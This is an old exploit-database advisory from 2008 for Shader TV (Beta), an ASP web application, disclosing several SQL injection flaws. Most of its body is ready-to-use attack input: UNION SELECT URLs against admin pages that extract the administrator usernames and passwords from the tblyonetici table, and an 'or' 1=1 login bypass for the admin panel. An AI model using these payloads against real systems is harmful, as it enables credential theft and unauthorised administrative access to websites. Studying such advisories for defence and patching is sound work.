Shader TV (Beta) - Multiple SQL Injections

EKU-ID: 13505	CVE: OSVDB-53393;CVE-2008-6641;OSVDB-53392;OSVDB-53391;OSVDB-53390	OSVDB-ID:
Author: U238	Published: 2008-05-08	Verified:
Download:

Rating

☆☆☆☆☆

Shader TV (Beta) Multiple Remote SQL Ä°njection Vulnerable


Script : http://www.aspindir.com/indir.asp?ID=5441

Script : http://rapidshare.de/files/39341463/ShaderTV.zip.html

Coded  : Asp

Lnguae : Acces


Discovered By U238 | < Ugurcan Engin >

Friends : ka0x - The_BekiR - Marco Almeida - Erhan Bulut - Caborz  :

Web - Designer Solution Developer

setuid.noexec0x1@hotmail.com

http://noexec.blogspot.com



0x1 = [S** Says : Allah BelanÄ± Versin Ulan Åžiz0 !]

0x2 = [Ben Sadece Ä°yi Bir Ä°nsan Olmak Ä°stemistim ]


Exploit:

Administrator Login to  creative web panel is atack of to SQL injectin.


http://localhost:2222/lab/ShaderTV/yonet/kanal.asp?islem=degistir&sid=13+union+select+0,kullanici,parola,3,4,5+from+tblyonetici

----

http://localhost:2222/lab/ShaderTV/yonet/google.asp?islem=degistir&sid=1+union+select+0,parola+from+tblyonetici&sayfa=1

http://localhost:2222/lab/ShaderTV/yonet/google.asp?islem=degistir&sid=1+union+select+0,kullanici+from+tblyonetici&sayfa=1

----

http://localhost:2222/lab/ShaderTV/yonet/hakk.asp?islem=degistir&sid=2+union+select+0,parola+from+tblyonetici

http://localhost:2222/lab/ShaderTV/yonet/hakk.asp?islem=degistir&sid=2+union+select+0,kullanici+from+tblyonetici


Administrator Panel :

target/ShaderTV/yonet



-------------------------------

Admin Panel Login Bypass :

target/ShaderTV/yonet/default.asp


username : 'or' 1=1

password : 'or' 1=1


This is Admin Panel See You ?


---------------------------------

# milw0rm.com [2008-05-08]